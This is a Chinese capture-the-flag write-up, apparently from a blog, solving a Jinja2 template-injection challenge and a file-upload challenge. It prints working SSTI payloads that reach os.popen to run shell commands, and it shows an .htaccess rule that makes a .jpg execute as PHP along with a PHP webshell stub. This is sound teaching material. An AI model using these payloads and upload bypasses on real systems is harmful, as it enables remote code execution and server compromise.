阿里云主机做网站,网站开发工作总结,健康网站模板,商务网站建设规划流程目录 [HNCTF 2022 WEEK2]ez_SSTI
1、题目
2、知识点
3、思路
[SWPUCTF 2022 新生赛]Ez_upload
1、题目
2、知识点
3、思路 [HNCTF 2022 WEEK2]ez_SSTI
1、题目 2、知识点
SSTI、Jinja2
参考链接#xff1a;1. SSTI#xff08;模板注入#xff09;漏洞#xff08;…目录 [HNCTF 2022 WEEK2]ez_SSTI
1、题目
2、知识点
3、思路
[SWPUCTF 2022 新生赛]Ez_upload
1、题目
2、知识点
3、思路 [HNCTF 2022 WEEK2]ez_SSTI
1、题目 2、知识点
SSTI、Jinja2
参考链接1. SSTI模板注入漏洞入门篇 - bmjoker - 博客园 (cnblogs.com)
3、思路 题目提示我们是SSTI打开链接里面是一些有关SSTI的知识
我们不知道网站是用什么语言的抓包看看 这里可以看到python跟python有关的SSTI框架模板Jinja2 (Python)、Mako (Python)这些在题目的链接可以看到接下来就尝试网站是用哪种模板先尝试jinja2但是我们不知道注入点在哪不知道变量名看了上面的参考文章jinja2的变量名跟name有关可以尝试name
?name{{7*7}} 结果正常回显说明当前网站是用jinja2的框架且变量名为name
知道变量名接下来就是构造payload了 ?name{{.__class__.__base__.__subclasses__()}} 通过__class__获取字典对象所属的类再通过__base____bases[0]__拿到基类然后使用__subclasses__()获取子类列表在子类列表中直接寻找可以利用的类 如果存在os类那我们可以通过这些类执行eval等函数 接下来我们利用这个类这个类位于137这些payload可以记起来遇到可以用
?name{{.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[__builtins__][eval](__import__(os).popen(ls).read())}}
?name{{.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__[__builtins__][eval](__import__(os).popen(cat flag).read())}} 得到flagNSSCTF{71ead462-471d-4863-b7ed-a97c9afcf81c} [SWPUCTF 2022 新生赛]Ez_upload
1、题目 2、知识点
文件上传、.htaccess、MIME类型
3、思路 上传一个正常的文件 上传失败很可能是文件大小作了限制
上传一个php文件 这里对后缀名进行了过滤
上传一个带有php内容的jpg文件 说明也对文件内容进行了过滤
这里尝试绕过的方式有很多例如抓包更改文件后缀名、大小写绕过、php3、phtml等
这边尝试看能不能上传.htaccess文件 可以上传成功注Content-Type: image/jpeg .htaccess FilesMatch muma.jpg SetHandler application/x-httpd-php /FilesMatch 上传成功后我们再上传一个muma.jpg文件因为对文件内容进行了检测不能有php代码所以我们使用javascript语句 muma.jpg ## 一句话木马 script languagephpphpinfo();/script 上传成功然后访问成功的路径可以正常访问 里面的php代码正常执行寻找flag 得到flagNSSCTF{be92eb2e-a020-43c6-bf04-d99099bbff69} 这篇文章就先记录到这里哪里不懂的或者哪里不足的欢迎指出